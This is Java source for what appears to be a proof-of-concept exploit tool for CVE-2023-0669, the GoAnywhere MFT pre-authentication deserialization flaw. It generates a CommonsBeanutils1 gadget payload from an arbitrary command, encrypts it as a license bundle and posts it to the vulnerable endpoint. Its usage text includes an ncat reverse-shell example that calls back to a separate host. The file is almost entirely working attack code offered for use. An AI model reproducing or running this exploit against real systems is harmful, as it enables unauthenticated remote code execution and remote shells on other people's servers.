package org.gaw;

import org.gaw.linoma.Cryptor;

import cn.hutool.http.HttpResponse;
import org.gaw.utils.Http;
import org.apache.commons.cli.*;
import org.apache.commons.lang.StringUtils;
import java.net.MalformedURLException;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.lang.*;

public class Exploit {
    static final String banner = "   _______    ________    ___   ____ ___  _____       ____  " +
            "_____ _____ ____ \n" +
            "  / ____/ |  / / ____/   |__ \\ / __ \\__ \\|__  /      / __ \\/ ___// ___// __ \\\n" +
            " / /    | | / / __/________/ // / / /_/ / /_ <______/ / / / __ \\/ __ \\/ /_/ /\n" +
            "/ /___  | |/ / /__/_____/ __// /_/ / __/___/ /_____/ /_/ / /_/ / /_/ /\\__, / \n" +
            "\\____/  |___/_____/    /____/\\____/____/____/      \\____/\\____/\\____//____/  \n" +
            "                                                                             ";
    // https://patorjk.com/software/taag/#p=display&f=Slant&t=CVE-2023-0669

    public static void printUsage(Options options) {
        HelpFormatter formatter = new HelpFormatter();
        System.out.println("GoAnywhere MFT suffers from a pre-authentication command injection vulnerability in the License Response Servlet due to deserializing an arbitrary attacker-controlled object.\n");
        formatter.printHelp("Options", options);

        System.out.println("\nExample: ");
        System.out.println("java -jar CVE-2023-0669.jar -p http://127.0.0.1:8080 " +
                "-t https://192.168.1.1 -c 'ncat -e /bin/bash 192.168.1.2 4444'");
        System.out.println("java -jar CVE-2023-0669.jar -e ./payload.ser\n");
    }

    public static void main(String[] args) {
        System.out.println("\n"+banner);

        Options options = new Options();
        options.addOption("h", "help", false,"Print help information");
        options.addOption("t", "target", true, "Target URL");
        options.addOption("path", true, "Target Endpoint, default: /goanywhere/lic/accept");
        options.addOption("p", "proxy", true, "Proxy Address, eg: http://127.0.0.1:8080");
        options.addOption("c", "command", true, "Expected commands to be executed");
        options.addOption("e", "encrypt", true,"Encrypt the specified deserialized content");
        options.addOption("v", "version", true,"Version Encryption, 1/2, default: 1");
        options.addOption("timeout", true,"Http Requests Timeout, default: 20");

        CommandLineParser parser = new BasicParser();

        try {
            CommandLine cli = parser.parse(options, args);

            String version = cli.getOptionValue("v");
            version = (version == null)?"1":"2";

            if (cli.hasOption("h")) {
                printUsage(options);
            } else if (cli.hasOption("e")) {
                String filename = cli.getOptionValue("e");
                Path path = Paths.get(filename);
                byte[] data = Files.readAllBytes(path);
                System.out.println("[*] Files expected to be encrypted: " + filename);
                System.out.println("[*] Version Encryption: " + version);
                String bundle = Cryptor.main(data, version);
                System.out.println("[+] Successful encryption: " + bundle);
            } else if (cli.hasOption("t") && cli.hasOption("c")) {
                String target = cli.getOptionValue("t");
                System.out.println("[*] Target: " + target);

                String path = cli.getOptionValue("path");
                path = (path == null)?"/goanywhere/lic/accept":path;
                System.out.println("[*] Path: " + path);

                String proxy = cli.getOptionValue("p");
                System.out.println("[*] Proxy: " + proxy);

                String command = cli.getOptionValue("c");
                System.out.println("[*] Command: " + command);

                System.out.println("[*] Version Encryption: " + version);

                byte[] deserData = GenerateEvilPayload.main(command, "CommonsBeanutils1");
                String bundle = Cryptor.main(deserData, version);
                System.out.println("[+] Successful encryption: " + StringUtils.left(bundle, 50) +
                        "...");

                String timeout = cli.getOptionValue("timeout");
                timeout = (timeout == null)?"20":timeout;
                System.out.println("[*] Timeout: " + timeout + "s");
                int to = Integer.parseInt(timeout) * 1000;

                Exploit(target, path, bundle, proxy, to);
            } else {
                printUsage(options);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void Exploit(String target, String path, String body, String proxyURL,
                               int timeout) throws MalformedURLException {
        URL url = new URL(target);
        String rootURL = url.getProtocol() + "://" + url.getAuthority();

        String bundleBody = "bundle=" + body;

        Map<String, String> headers = new HashMap<>();
        headers.put("Content-Type", "application/x-www-form-urlencoded");

        System.out.println("[*] Exploiting...");

        HttpResponse r = Http.post(rootURL+path, bundleBody, headers ,proxyURL, timeout);

        if (r.getStatus() == 500 && r.body().contains("Requested URL: /goanywhere/lic/accept")) {
            System.out.println("[+] The exploit has been completed, please check.");
        } else{
            System.out.println("[-] Exploit Failed");
        }
    }
}

